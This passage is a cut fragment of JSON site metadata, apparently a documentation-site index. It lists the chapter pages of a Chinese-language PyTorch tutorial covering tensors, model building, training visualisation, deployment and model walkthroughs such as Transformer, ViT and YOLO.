PyTorch\u76f8\u5173\u8d44\u6e90":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README","title":"\u7b2c\u4e00\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README","title":"\u7b2c\u4e03\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","title":"3.2 \u57fa\u672c\u914d\u7f6e.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","title":"3.3 \u6570\u636e\u8bfb\u5165.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","title":"3.4 \u6a21\u578b\u6784\u5efa.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","title":"3.6 \u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","title":"3.8 \u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","title":"3.9 \u4f18\u5316\u5668.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README","title":"\u7b2c\u4e09\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","title":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/README","title":"\u7b2c\u4e5d\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","title":"2.1 \u5f20\u91cf.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README","title":"\u7b2c\u4e8c\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README","title":"\u7b2c\u4e94\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","title":"8.2 \u56fe\u50cf - torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","title":"8.3 \u89c6\u9891 - PyTorchVideo.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","title":"8.4 \u6587\u672c - torchtext.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","title":"8.5 \u97f3\u9891 - torchaudio.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README","title":"\u7b2c\u516b\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/README","title":"\u7b2c\u516d\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","title":"10.3 \u56fe\u50cf\u5206\u5272.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/README","title":"\u7b2c\u5341\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","title":"Swin-Transformer\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","title":"Transformer \u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","title":"ViT\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","title":"model_design.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README","title":"MMYOLO\u5b9e\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","title":"rtmdet_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","title":"yolov5_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\